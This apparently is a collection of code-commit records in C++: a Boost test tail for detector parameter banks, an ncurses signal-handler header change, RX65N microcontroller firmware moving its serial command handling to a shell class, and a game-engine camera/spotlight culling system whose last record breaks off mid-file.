BOOST_REQUIRE(bank2.getPMsSize() == 4);\n BOOST_REQUIRE(bank2.getPMCalibsSize() == 0); \/\/ TODO ERROR - should be 1\n BOOST_REQUIRE(bank2.getFEBsSize() == 1);\n BOOST_REQUIRE(bank2.getTRBsSize() == 1);\n\n BOOST_REQUIRE(bank2.getScintillators().GetEntries() == 2);\n BOOST_REQUIRE(bank2.getPMs().GetEntries() == 4);\n BOOST_REQUIRE(bank2.getPMCalibs().GetEntries() == 0); \/\/ TODO ERROR - should be 1\n BOOST_REQUIRE(bank2.getFEBs().GetEntries() == 1);\n BOOST_REQUIRE(bank2.getTRBs().GetEntries() == 1);\n\n \/\/ BOOST_REQUIRE(bank2.getPMCalib(0).GetId() == 256); \/\/ TODO ERROR\n \n BOOST_REQUIRE(bank2.getFEB(0).getID() == 1);\n BOOST_REQUIRE(bank2.getFEB(0).isActive());\n BOOST_REQUIRE(bank2.getFEB(0).status() == \"testStatus\");\n BOOST_REQUIRE(bank2.getFEB(0).description() == \"descr\");\n BOOST_REQUIRE(bank2.getFEB(0).version() == 1);\n\n BOOST_REQUIRE(bank2.getPM(0).getScin().getID() == 1);\n BOOST_REQUIRE(bank2.getPM(1).getScin().getID() == 1);\n BOOST_REQUIRE(bank2.getPM(2).getScin().getID() == 2);\n BOOST_REQUIRE(bank2.getPM(3).getScin().getID() == 2);\n BOOST_REQUIRE(bank2.getScintillator(0).getID() == 1);\n BOOST_REQUIRE(bank2.getScintillator(1).getID() == 2);\n\n file2.Close();\n}\n\n\nBOOST_AUTO_TEST_SUITE_END()\n\n<|endoftext|>"} {"text":"<commit_before>\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <ncurses.h>\n#include <csignal>\n#include <cstdlib>\n\n#include \"signals.hh\"\n\nextern \"C\" {\nstatic void myexit(int i) {\n endwin();\n SIG_DFL(i);\n}\n}\n\nnamespace vick {\n\nvoid setup_signal_handling() {\n signal(SIGABRT, myexit);\n signal(SIGFPE, myexit);\n signal(SIGILL, myexit);\n signal(SIGINT, myexit);\n signal(SIGSEGV, myexit);\n signal(SIGTERM, myexit);\n}\n}\n<commit_msg>Use `*.h` headers rather than `c*`<commit_after>\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n#include <ncurses.h>\n#include <signal.h>\n#include <stdlib.h>\n\n#include \"signals.hh\"\n\nextern \"C\" {\nstatic void myexit(int i) {\n endwin();\n SIG_DFL(i);\n}\n}\n\nnamespace vick {\n\nvoid setup_signal_handling() {\n signal(SIGABRT, myexit);\n signal(SIGFPE, myexit);\n signal(SIGILL, myexit);\n signal(SIGINT, myexit);\n signal(SIGSEGV, myexit);\n signal(SIGTERM, myexit);\n}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/=====================================================================\/\/\n\/*! @file\n @brief RX65N ダイレクト・デジタル・シンセサイザ @n\n\t\t\tマイコン内臓12ビットD/A変換を使って、波形を生成するガジェット\n @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2019 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#define CASH_KFONT\n\n#include \"common\/renesas.hpp\"\n#include \"common\/cmt_io.hpp\"\n#include \"common\/fixed_fifo.hpp\"\n#include \"common\/sci_io.hpp\"\n#include \"common\/sci_i2c_io.hpp\"\n#include \"common\/format.hpp\"\n#include \"common\/command.hpp\"\n#include \"common\/spi_io2.hpp\"\n#include \"ff13c\/mmc_io.hpp\"\n#include \"common\/tpu_io.hpp\"\n#include \"common\/qspi_io.hpp\"\n#include \"graphics\/font8x16.hpp\"\n#include \"graphics\/graphics.hpp\"\n#include \"graphics\/filer.hpp\"\n#include \"graphics\/kfont.hpp\"\n#include \"graphics\/font.hpp\"\n\n#include \"chip\/FT5206.hpp\"\n\nnamespace {\n\n\ttypedef device::PORT<device::PORT7, device::bitpos::B0> LED;\n\n\ttypedef device::system_io<12000000> SYSTEM_IO;\n\n\ttypedef device::cmt_io<device::CMT0, utils::null_task> CMT;\n\tCMT\t\t\tcmt_;\n\n\ttypedef utils::fixed_fifo<char, 512> RECV_BUFF;\n\ttypedef utils::fixed_fifo<char, 1024> SEND_BUFF;\n\ttypedef device::sci_io<device::SCI9, RECV_BUFF, SEND_BUFF> SCI;\n\tSCI\t\t\tsci_;\n\n\t\/\/ カード電源制御は使わないので、「device::NULL_PORT」を指定する。\n\/\/\ttypedef device::PORT<device::PORT6, device::bitpos::B4> SDC_POWER;\n\ttypedef device::NULL_PORT SDC_POWER;\n\n#ifdef SDHI_IF\n\t\/\/ RX65N Envision Kit の SDHI ポートは、候補3になっている\n\ttypedef fatfs::sdhi_io<device::SDHI, SDC_POWER, device::port_map::option::THIRD> SDHI;\n\tSDHI\t\tsdh_;\n#else\n\t\/\/ Soft SDC 用 SPI 定義(SPI)\n\ttypedef device::PORT<device::PORT2, device::bitpos::B2> MISO; \/\/ DAT0\n\ttypedef device::PORT<device::PORT2, device::bitpos::B0> MOSI; \/\/ CMD\n\ttypedef device::PORT<device::PORT2, device::bitpos::B1> SPCK; \/\/ CLK\n\n\ttypedef device::spi_io2<MISO, MOSI, SPCK> SPI; \/\/\/< Soft SPI 定義\n\n\tSPI\t\t\tspi_;\n\n\ttypedef device::PORT<device::PORT1, device::bitpos::B7> SDC_SELECT; \/\/ DAT3 カード選択信号\n\ttypedef device::PORT<device::PORT2, device::bitpos::B5> SDC_DETECT; \/\/ CD カード検出\n\n\ttypedef fatfs::mmc_io<SPI, SDC_SELECT, SDC_POWER, SDC_DETECT> MMC; \/\/ ハードウェアー定義\n\n\tMMC\t\t\tsdh_(spi_, 20000000);\n#endif\n\n\ttypedef device::PORT<device::PORT6, device::bitpos::B3> LCD_DISP;\n\ttypedef device::PORT<device::PORT6, device::bitpos::B6> LCD_LIGHT;\n\tstatic const int16_t LCD_X = 480;\n\tstatic const int16_t LCD_Y = 272;\n\tstatic void* LCD_ORG = reinterpret_cast<void*>(0x00000100);\n\tstatic const auto PIXT = graphics::pixel::TYPE::RGB565;\n\ttypedef device::glcdc_io<device::GLCDC, LCD_X, LCD_Y, PIXT> GLCDC_IO;\n\tGLCDC_IO\tglcdc_io_(nullptr, LCD_ORG);\n\n\ttypedef graphics::font8x16 AFONT;\n\tAFONT\t\tafont_;\n#ifdef CASH_KFONT\n\ttypedef graphics::kfont<16, 16, 64> KFONT;\n#else\n\ttypedef graphics::kfont<16, 16> KFONT;\n#endif\n\tKFONT\t\tkfont_;\n\ttypedef graphics::font<AFONT, KFONT> FONT;\n\tFONT\t\tfont_(afont_, kfont_);\n\n\/\/\ttypedef device::drw2d_mgr<GLCDC_IO, FONT> RENDER;\n\ttypedef graphics::render<GLCDC_IO, FONT> RENDER;\n\tRENDER\t\trender_(glcdc_io_, font_);\n\n\t\/\/ FT5206, SCI6 簡易 I2C 定義\n\ttypedef device::PORT<device::PORT0, device::bitpos::B7> FT5206_RESET;\n\ttypedef utils::fixed_fifo<uint8_t, 64> RB6;\n\ttypedef utils::fixed_fifo<uint8_t, 64> SB6;\n\ttypedef device::sci_i2c_io<device::SCI6, RB6, SB6,\n\t\tdevice::port_map::option::FIRST_I2C> FT5206_I2C;\n\n\tFT5206_I2C\tft5206_i2c_;\n\ttypedef chip::FT5206<FT5206_I2C> FT5206;\n\tFT5206\t\tft5206_(ft5206_i2c_);\n\n\tutils::command<256> cmd_;\n\n\tvoid update_led_()\n\t{\n\t\tstatic uint8_t n = 0;\n\t\t++n;\n\t\tif(n >= 30) {\n\t\t\tn = 0;\n\t\t}\n\t\tif(n < 10) {\n\t\t\tLED::P = 0;\n\t\t} else {\n\t\t\tLED::P = 1;\n\t\t}\n\t}\n\n\n\tvoid command_()\n\t{\n\t\tif(!cmd_.service()) {\n\t\t\treturn;\n\t\t}\n\n\t\tuint8_t cmdn = cmd_.get_words();\n\t\tif(cmdn >= 1) {\n\t\t\tbool f = false;\n\t\t\tif(cmd_.cmp_word(0, \"dir\")) { \/\/ dir [xxx]\n\t\t\t\tif(sdh_.get_mount()) {\n\t\t\t\t\tif(cmdn >= 2) {\n\t\t\t\t\t\tchar tmp[128];\n\t\t\t\t\t\tcmd_.get_word(1, tmp, sizeof(tmp));\n\t\t\t\t\t\tutils::file_io::dir(tmp);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tutils::file_io::dir(\"\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tf = true;\n\t\t\t} else if(cmd_.cmp_word(0, \"cd\")) { \/\/ cd [xxx]\n\t\t\t\tif(sdh_.get_mount()) {\n\t\t\t\t\tif(cmdn >= 2) {\n\t\t\t\t\t\tchar tmp[128];\n\t\t\t\t\t\tcmd_.get_word(1, tmp, sizeof(tmp));\n\t\t\t\t\t\tutils::file_io::cd(tmp);\t\t\t\t\t\t\n\t\t\t\t\t} else {\n\t\t\t\t\t\tutils::file_io::cd(\"\/\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tf = true;\n\t\t\t} else if(cmd_.cmp_word(0, \"pwd\")) { \/\/ pwd\n\t\t\t\tchar tmp[FF_MAX_LFN + 1];\n\t\t\t\tif(!utils::file_io::pwd(tmp, sizeof(tmp))) {\n\t\t\t\t\tutils::format(\"%s\\n\") % tmp;\n\t\t\t\t}\n\t\t\t\tf = true;\n\t\t\t} else if(cmd_.cmp_word(0, \"help\")) {\n\t\t\t\tutils::format(\" dir [path]\\n\");\n\t\t\t\tutils::format(\" cd [path]\\n\");\n\t\t\t\tutils::format(\" pwd\\n\");\n\t\t\t\tf = true;\n\t\t\t}\n\t\t\tif(!f) {\n\t\t\t\tchar tmp[128];\n\t\t\t\tif(cmd_.get_word(0, tmp, sizeof(tmp))) {\n\t\t\t\t\tutils::format(\"Command error: '%s'\\n\") % tmp;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n\nextern \"C\" {\n\n\tvoid sci_putch(char ch)\n\t{\n\t\tsci_.putch(ch);\n\t}\n\n\n\tvoid sci_puts(const char* str)\n\t{\n\t\tsci_.puts(str);\n\t}\n\n\n\tchar sci_getch(void)\n\t{\n\t\treturn sci_.getch();\n\t}\n\n\n\tuint16_t sci_length()\n\t{\n\t\treturn sci_.recv_length();\n\t}\n\n\n\tDSTATUS disk_initialize(BYTE drv) {\n\t\treturn sdh_.disk_initialize(drv);\n\t}\n\n\n\tDSTATUS disk_status(BYTE drv) {\n\t\treturn sdh_.disk_status(drv);\n\t}\n\n\n\tDRESULT disk_read(BYTE drv, BYTE* buff, DWORD sector, UINT count) {\n\t\treturn sdh_.disk_read(drv, buff, sector, count);\n\t}\n\n\n\tDRESULT disk_write(BYTE drv, const BYTE* buff, DWORD sector, UINT count) {\n\t\treturn sdh_.disk_write(drv, buff, sector, count);\n\t}\n\n\n\tDRESULT disk_ioctl(BYTE drv, BYTE ctrl, void* buff) {\n\t\treturn sdh_.disk_ioctl(drv, ctrl, buff);\n\t}\n\n\n\tDWORD get_fattime(void) {\n\t\ttime_t t = 0;\n\/\/\/\t\trtc_.get_time(t);\n\t\treturn utils::str::get_fattime(t);\n\t}\n}\n\nint main(int argc, char** argv);\n\nint main(int argc, char** argv)\n{\n\tSYSTEM_IO::setup_system_clock();\n\n\t{ \/\/ SCI 設定\n\t\tstatic const uint8_t sci_level = 2;\n\t\tsci_.start(115200, sci_level);\n\t}\n\n\t{ \/\/ SD カード・クラスの初期化\n\t\tsdh_.start();\n\t}\n\n\tutils::format(\"RTK5RX65N Start for Direct Digital Synthsyzer\\n\");\n\tcmd_.set_prompt(\"# \");\n\n\t{ \/\/ GLCDC の初期化\n\t\tLCD_DISP::DIR = 1;\n\t\tLCD_LIGHT::DIR = 1;\n\t\tLCD_DISP::P = 0; \/\/ DISP Disable\n\t\tLCD_LIGHT::P = 0; \/\/ BackLight Disable (No PWM)\n\t\tif(glcdc_io_.start()) {\n\t\t\tutils::format(\"Start GLCDC\\n\");\n\t\t\tLCD_DISP::P = 1; \/\/ DISP Enable\n\t\t\tLCD_LIGHT::P = 1; \/\/ BackLight Enable (No PWM)\n\t\t\tif(!glcdc_io_.control(GLCDC_IO::CONTROL_CMD::START_DISPLAY)) {\n\t\t\t\tutils::format(\"GLCDC ctrl fail...\\n\");\n\t\t\t}\n\t\t} else {\n\t\t\tutils::format(\"GLCDC Fail\\n\");\n\t\t}\n\t}\n\n\t{ \/\/ FT5206 touch screen controller\n\t\tFT5206::reset<FT5206_RESET>();\n\t\tuint8_t intr_lvl = 1;\n\t\tif(!ft5206_i2c_.start(FT5206_I2C::SPEED::STANDARD, intr_lvl)) {\n\t\t\tutils::format(\"FT5206 I2C Start Fail...\\n\");\n\t\t}\n\t\tif(!ft5206_.start()) {\n\t\t\tutils::format(\"FT5206 Start Fail...\\n\");\n\t\t}\n\t}\n\n\tLED::DIR = 1;\n\n\t\/\/ タッチパネルの安定待ち\n\n\n\n\twhile(1) {\n\t\trender_.sync_frame();\n\n\t\tft5206_.update();\n\n\t\tsdh_.service();\n\n\t\tcommand_();\n\n\t\tupdate_led_();\n\t}\n}\n<commit_msg>Update: clean up shell class<commit_after>\/\/=====================================================================\/\/\n\/*! @file\n @brief RX65N ダイレクト・デジタル・シンセサイザ @n\n\t\t\tマイコン内臓12ビットD/A変換を使って、波形を生成するガジェット\n @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2019 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#define CASH_KFONT\n\n#include \"common\/renesas.hpp\"\n#include \"common\/cmt_io.hpp\"\n#include \"common\/fixed_fifo.hpp\"\n#include \"common\/sci_io.hpp\"\n#include \"common\/sci_i2c_io.hpp\"\n#include \"common\/format.hpp\"\n#include \"common\/command.hpp\"\n#include \"common\/shell.hpp\"\n#include \"common\/spi_io2.hpp\"\n#include \"common\/tpu_io.hpp\"\n#include \"common\/qspi_io.hpp\"\n#include \"graphics\/font8x16.hpp\"\n#include \"graphics\/graphics.hpp\"\n#include \"graphics\/filer.hpp\"\n#include \"graphics\/kfont.hpp\"\n#include \"graphics\/font.hpp\"\n\n#include \"chip\/FT5206.hpp\"\n\nnamespace {\n\n\ttypedef device::PORT<device::PORT7, device::bitpos::B0> LED;\n\n\ttypedef device::system_io<12000000> SYSTEM_IO;\n\n\ttypedef device::cmt_io<device::CMT0, utils::null_task> CMT;\n\tCMT\t\t\tcmt_;\n\n\ttypedef utils::fixed_fifo<char, 512> RECV_BUFF;\n\ttypedef utils::fixed_fifo<char, 1024> SEND_BUFF;\n\ttypedef device::sci_io<device::SCI9, RECV_BUFF, SEND_BUFF> SCI;\n\tSCI\t\t\tsci_;\n\n\t\/\/ カード電源制御は使わないので、「device::NULL_PORT」を指定する。\n\/\/\ttypedef device::PORT<device::PORT6, device::bitpos::B4> SDC_POWER;\n\ttypedef device::NULL_PORT SDC_POWER;\n\n#ifdef SDHI_IF\n\t\/\/ RX65N Envision Kit の SDHI ポートは、候補3になっている\n\ttypedef fatfs::sdhi_io<device::SDHI, SDC_POWER, device::port_map::option::THIRD> SDHI;\n\tSDHI\t\tsdh_;\n#else\n\t\/\/ Soft SDC 用 SPI 定義(SPI)\n\ttypedef device::PORT<device::PORT2, device::bitpos::B2> MISO; \/\/ DAT0\n\ttypedef device::PORT<device::PORT2, device::bitpos::B0> MOSI; \/\/ CMD\n\ttypedef device::PORT<device::PORT2, device::bitpos::B1> SPCK; \/\/ CLK\n\n\ttypedef device::spi_io2<MISO, MOSI, SPCK> SPI; \/\/\/< Soft SPI 定義\n\n\tSPI\t\t\tspi_;\n\n\ttypedef device::PORT<device::PORT1, device::bitpos::B7> SDC_SELECT; \/\/ DAT3 カード選択信号\n\ttypedef device::PORT<device::PORT2, device::bitpos::B5> SDC_DETECT; \/\/ CD カード検出\n\n\ttypedef fatfs::mmc_io<SPI, SDC_SELECT, SDC_POWER, SDC_DETECT> MMC; \/\/ ハードウェアー定義\n\n\tMMC\t\t\tsdh_(spi_, 20000000);\n#endif\n\n\ttypedef device::PORT<device::PORT6, device::bitpos::B3> LCD_DISP;\n\ttypedef device::PORT<device::PORT6, device::bitpos::B6> LCD_LIGHT;\n\tstatic const int16_t LCD_X = 480;\n\tstatic const int16_t LCD_Y = 272;\n\tstatic void* LCD_ORG = reinterpret_cast<void*>(0x00000100);\n\tstatic const auto PIXT = graphics::pixel::TYPE::RGB565;\n\ttypedef device::glcdc_io<device::GLCDC, LCD_X, LCD_Y, PIXT> GLCDC_IO;\n\tGLCDC_IO\tglcdc_io_(nullptr, LCD_ORG);\n\n\ttypedef graphics::font8x16 AFONT;\n\tAFONT\t\tafont_;\n#ifdef CASH_KFONT\n\ttypedef graphics::kfont<16, 16, 64> KFONT;\n#else\n\ttypedef graphics::kfont<16, 16> KFONT;\n#endif\n\tKFONT\t\tkfont_;\n\ttypedef graphics::font<AFONT, KFONT> FONT;\n\tFONT\t\tfont_(afont_, kfont_);\n\n\/\/\ttypedef device::drw2d_mgr<GLCDC_IO, FONT> RENDER;\n\ttypedef graphics::render<GLCDC_IO, FONT> RENDER;\n\tRENDER\t\trender_(glcdc_io_, font_);\n\n\t\/\/ FT5206, SCI6 簡易 I2C 定義\n\ttypedef device::PORT<device::PORT0, device::bitpos::B7> FT5206_RESET;\n\ttypedef utils::fixed_fifo<uint8_t, 64> RB6;\n\ttypedef utils::fixed_fifo<uint8_t, 64> SB6;\n\ttypedef device::sci_i2c_io<device::SCI6, RB6, SB6,\n\t\tdevice::port_map::option::FIRST_I2C> FT5206_I2C;\n\n\tFT5206_I2C\tft5206_i2c_;\n\ttypedef chip::FT5206<FT5206_I2C> FT5206;\n\tFT5206\t\tft5206_(ft5206_i2c_);\n\n\ttypedef utils::command<256> CMD;\n\tCMD\t\t\tcmd_;\n\ttypedef utils::shell<CMD> SHELL;\n\tSHELL\t\tshell_(cmd_);\n\n\tvoid update_led_()\n\t{\n\t\tstatic uint8_t n = 0;\n\t\t++n;\n\t\tif(n >= 30) {\n\t\t\tn = 0;\n\t\t}\n\t\tif(n < 10) {\n\t\t\tLED::P = 0;\n\t\t} else {\n\t\t\tLED::P = 1;\n\t\t}\n\t}\n\n\n\tvoid command_()\n\t{\n\t\tif(!cmd_.service()) {\n\t\t\treturn;\n\t\t}\n\t\tif(shell_.analize()) {\n\t\t\treturn;\n\t\t}\n\t\tif(cmd_.cmp_word(0, \"help\")) {\n\t\t\tshell_.help();\n\t\t} else {\n\t\t\tutils::format(\"Command error: '%s'\\n\") % cmd_.get_command();\n\t\t}\n\t}\n}\n\n\nextern \"C\" {\n\n\tvoid sci_putch(char ch)\n\t{\n\t\tsci_.putch(ch);\n\t}\n\n\n\tvoid sci_puts(const char* str)\n\t{\n\t\tsci_.puts(str);\n\t}\n\n\n\tchar sci_getch(void)\n\t{\n\t\treturn sci_.getch();\n\t}\n\n\n\tuint16_t sci_length()\n\t{\n\t\treturn sci_.recv_length();\n\t}\n\n\n\tDSTATUS disk_initialize(BYTE drv) {\n\t\treturn sdh_.disk_initialize(drv);\n\t}\n\n\n\tDSTATUS disk_status(BYTE drv) {\n\t\treturn sdh_.disk_status(drv);\n\t}\n\n\n\tDRESULT disk_read(BYTE drv, BYTE* buff, DWORD sector, UINT count) {\n\t\treturn sdh_.disk_read(drv, buff, sector, count);\n\t}\n\n\n\tDRESULT disk_write(BYTE drv, const BYTE* buff, DWORD sector, UINT count) {\n\t\treturn sdh_.disk_write(drv, buff, sector, count);\n\t}\n\n\n\tDRESULT disk_ioctl(BYTE drv, BYTE ctrl, void* buff) {\n\t\treturn sdh_.disk_ioctl(drv, ctrl, buff);\n\t}\n\n\n\tDWORD get_fattime(void) {\n\t\ttime_t t = 0;\n\/\/\/\t\trtc_.get_time(t);\n\t\treturn utils::str::get_fattime(t);\n\t}\n}\n\nint main(int argc, char** argv);\n\nint main(int argc, char** argv)\n{\n\tSYSTEM_IO::setup_system_clock();\n\n\t{ \/\/ SCI 設定\n\t\tstatic const uint8_t sci_level = 2;\n\t\tsci_.start(115200, sci_level);\n\t}\n\n\t{ \/\/ SD カード・クラスの初期化\n\t\tsdh_.start();\n\t}\n\n\tutils::format(\"RTK5RX65N Start for Direct Digital Synthsyzer\\n\");\n\tcmd_.set_prompt(\"# \");\n\n\t{ \/\/ GLCDC の初期化\n\t\tLCD_DISP::DIR = 1;\n\t\tLCD_LIGHT::DIR = 1;\n\t\tLCD_DISP::P = 0; \/\/ DISP Disable\n\t\tLCD_LIGHT::P = 0; \/\/ BackLight Disable (No PWM)\n\t\tif(glcdc_io_.start()) {\n\t\t\tutils::format(\"Start GLCDC\\n\");\n\t\t\tLCD_DISP::P = 1; \/\/ DISP Enable\n\t\t\tLCD_LIGHT::P = 1; \/\/ BackLight Enable (No PWM)\n\t\t\tif(!glcdc_io_.control(GLCDC_IO::CONTROL_CMD::START_DISPLAY)) {\n\t\t\t\tutils::format(\"GLCDC ctrl fail...\\n\");\n\t\t\t}\n\t\t} else {\n\t\t\tutils::format(\"GLCDC Fail\\n\");\n\t\t}\n\t}\n\n\t{ \/\/ FT5206 touch screen controller\n\t\tFT5206::reset<FT5206_RESET>();\n\t\tuint8_t intr_lvl = 1;\n\t\tif(!ft5206_i2c_.start(FT5206_I2C::SPEED::STANDARD, intr_lvl)) {\n\t\t\tutils::format(\"FT5206 I2C Start Fail...\\n\");\n\t\t}\n\t\tif(!ft5206_.start()) {\n\t\t\tutils::format(\"FT5206 Start Fail...\\n\");\n\t\t}\n\t}\n\n\tLED::DIR = 1;\n\n\t\/\/ タッチパネルの安定待ち\n\n\n\n\twhile(1) {\n\t\trender_.sync_frame();\n\n\t\tft5206_.update();\n\n\t\tsdh_.service();\n\n\t\tcommand_();\n\n\t\tupdate_led_();\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"RenderCameraSystem.hpp\"\n\n#include <Components\/CameraComponent.hpp>\n#include <Components\/SpotLight.hh>\n#include <Components\/DirectionalLightComponent.hh>\n#include <Components\/Light.hh>\n\n#include <Core\/Engine.hh>\n#include <Core\/AScene.hh>\n\n#include <glm\/gtc\/matrix_transform.hpp>\n\n#include <BFC\/BFCLinkTracker.hpp>\n#include <BFC\/BFCBlockManagerFactory.hpp>\n#include <BFC\/BFCCullableObject.hpp>\n\n#include <Graphic\/DRBCameraDrawableList.hpp>\n#include <Graphic\/BFCCullableTypes.hpp>\n\n#include <Threads\/ThreadManager.hpp>\n#include <Threads\/RenderThread.hpp>\n#include <Threads\/MainThread.hpp>\n#include <Threads\/Commands\/ToRenderCommands.hpp>\n\n#include \"Utils\/Frustum.hh\"\n\nnamespace AGE\n{\n\tRenderCameraSystem::RenderCameraSystem(AScene *scene) :\n\t\tSystem(std::move(scene)),\n\t\t_cameras(std::move(scene)),\n\t\t_spotLights(std::move(scene)),\n\t\t_directionnalLights(std::move(scene)),\n\t\t_pointLights(std::move(scene))\n\t{\n\t\t_name = \"Camera system\";\n\t}\n\n\tbool RenderCameraSystem::initialize()\n\t{\n\t\t_cameras.requireComponent<CameraComponent>();\n\t\t_spotLights.requireComponent<SpotLightComponent>();\n\t\t_directionnalLights.requireComponent<DirectionalLightComponent>();\n\t\t_pointLights.requireComponent<PointLightComponent>();\n\t\treturn (true);\n\t}\n\n\tvoid RenderCameraSystem::updateBegin(float time)\n\t{\n\n\t}\n\n\tvoid RenderCameraSystem::mainUpdate(float time)\n\t{\n\t\t_scene->getBfcLinkTracker()->reset();\n\n\t\t\/\/ check if the render thread does not already have stuff to draw\n\t\tif (GetMainThread()->isRenderFrame() == false)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tstd::list<std::shared_ptr<DRBSpotLightDrawableList>> spotLightList;\n\t\tstd::list<std::shared_ptr<DRBData>> pointLightList;\n\n\n\t\tfor (auto spotEntity : _spotLights.getCollection())\n\t\t{\n\t\t\tauto spot = spotEntity->getComponent<SpotLightComponent>();\n\t\t\tauto spotDrawableList = std::make_shared<DRBSpotLightDrawableList>();\n\t\t\tspotDrawableList->spotLight = spot->getCullableHandle().getPtr()->getDatas();\n\n\t\t\t\/\/ WARNINNNNNNNNNNNG\n\t\t\t\/\/ Le calcul n'est pas bon !!!!\n\t\t\t\/\/ Paul, fais le STP, merci\n\t\t\tFrustum spotlightFrustum;\n\t\t\tspotlightFrustum.setMatrix(glm::perspective(spot->getCutOff() \/ 2.0f, spot->getExponent(), 0.1f, 1000.0f)* glm::inverse(spotEntity->getLink().getGlobalTransform()));\n\t\t\tglm::vec4 a = spotEntity->getLink().getGlobalTransform() * glm::vec4(-1, -1, 0, 1);\n\t\t\tglm::vec4 b = spotEntity->getLink().getGlobalTransform() * glm::vec4(-1, 1, 0, 1);\n\t\t\tglm::vec4 c = spotEntity->getLink().getGlobalTransform() * glm::vec4(1, 1, 0, 1);\n\t\t\tglm::vec4 d = spotEntity->getLink().getGlobalTransform() * glm::vec4(1, -1, 0, 1);\n\t\t\tAGE::GetRenderThread()->getQueue()->emplaceCommand<Commands::ToRender::Draw3DQuad>(glm::vec3(a), glm::vec3(b), glm::vec3(c), glm::vec3(d));\n\n\t\t\t_scene->getBfcBlockManagerFactory()->cullOnChannel(BFCCullableType::CullableMesh, spotDrawableList->meshs, spotlightFrustum);\n\t\t\tspotLightList.push_back(spotDrawableList);\n\t\t}\n\t\tfor (auto pointLightEntity : _pointLights.getCollection())\n\t\t{\n\t\t\tauto point = pointLightEntity->getComponent<PointLightComponent>();\n\t\t\t\n\t\t\tpointLightList.push_back(point->getCullableHandle().getPtr()->getDatas());\n\t\t}\n\n\t\tfor (auto cameraEntity : _cameras.getCollection())\n\t\t{\n\t\t\tFrustum cameraFrustum;\n\t\t\tauto camera = cameraEntity->getComponent<CameraComponent>();\n\n\t\t\tauto cameraList = std::make_shared<DRBCameraDrawableList>();\n\t\t\tcameraList->cameraInfos.data = camera->getData();\n\t\t\tcameraList->cameraInfos.view = glm::inverse(cameraEntity->getLink().getGlobalTransform());\n\n\t\t\tcameraFrustum.setMatrix(camera->getProjection() * cameraList->cameraInfos.view);\n\n\t\t\t_scene->getBfcBlockManagerFactory()->cullOnChannel(BFCCullableType::CullableMesh, cameraList->meshs, cameraFrustum);\n\t\t\t_scene->getBfcBlockManagerFactory()->cullOnChannel(BFCCullableType::CullablePointLight, cameraList->pointLights, cameraFrustum);\n\t\t\tcameraList->spotLights = spotLightList;\n\t\t\tcameraList->pointLights = pointLightList;\n\t\t\tAGE::GetRenderThread()->getQueue()->emplaceCommand<AGE::DRBCameraDrawableListCommand>(cameraList);\n\t\t}\n\t}\n\n\tvoid RenderCameraSystem::updateEnd(float time)\n\t{\n\t}\n}<commit_msg>spotlight frustum in debug<commit_after>#include \"RenderCameraSystem.hpp\"\n\n#include <Components\/CameraComponent.hpp>\n#include <Components\/SpotLight.hh>\n#include <Components\/DirectionalLightComponent.hh>\n#include <Components\/Light.hh>\n\n#include <Core\/Engine.hh>\n#include <Core\/AScene.hh>\n\n#include <glm\/gtc\/matrix_transform.hpp>\n\n#include <BFC\/BFCLinkTracker.hpp>\n#include <BFC\/BFCBlockManagerFactory.hpp>\n#include <BFC\/BFCCullableObject.hpp>\n\n#include <Graphic\/DRBCameraDrawableList.hpp>\n#include <Graphic\/BFCCullableTypes.hpp>\n\n#include <Threads\/ThreadManager.hpp>\n#include <Threads\/RenderThread.hpp>\n#include <Threads\/MainThread.hpp>\n#include <Threads\/Commands\/ToRenderCommands.hpp>\n\n#include \"Utils\/Frustum.hh\"\n\nnamespace AGE\n{\n\tRenderCameraSystem::RenderCameraSystem(AScene *scene) :\n\t\tSystem(std::move(scene)),\n\t\t_cameras(std::move(scene)),\n\t\t_spotLights(std::move(scene)),\n\t\t_directionnalLights(std::move(scene)),\n\t\t_pointLights(std::move(scene))\n\t{\n\t\t_name = \"Camera system\";\n\t}\n\n\tbool RenderCameraSystem::initialize()\n\t{\n\t\t_cameras.requireComponent<CameraComponent>();\n\t\t_spotLights.requireComponent<SpotLightComponent>();\n\t\t_directionnalLights.requireComponent<DirectionalLightComponent>();\n\t\t_pointLights.requireComponent<PointLightComponent>();\n\t\treturn (true);\n\t}\n\n\tvoid RenderCameraSystem::updateBegin(float time)\n\t{\n\n\t}\n\n\tvoid RenderCameraSystem::mainUpdate(float time)\n\t{\n\t\t_scene->getBfcLinkTracker()->reset();\n\n\t\t\/\/ check if the render thread does not already have stuff to draw\n\t\tif (GetMainThread()->isRenderFrame() == false)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\tstd::list<std::shared_ptr<DRBSpotLightDrawableList>> spotLightList;\n\t\tstd::list<std::shared_ptr<DRBData>> pointLightList;\n\n\n\t\tfor (auto spotEntity : _spotLights.getCollection())\n\t\t{\n\t\t\tauto spot = spotEntity->getComponent<SpotLightComponent>();\n\t\t\tauto spotDrawableList = std::make_shared<DRBSpotLightDrawableList>();\n\t\t\tspotDrawableList->spotLight = spot->getCullableHandle().getPtr()->getDatas();\n\n\t\t\tfloat spotFov = glm::max(0.001f, (1.0f - spot->getCutOff()) * 180.0f);\n\t\t\tglm::mat4 spotViewProj = glm::perspective(spotFov, 1.0f, 0.1f, 1000.0f) * glm::inverse(spotEntity->getLink().getGlobalTransform());\n\n\t\t\tFrustum 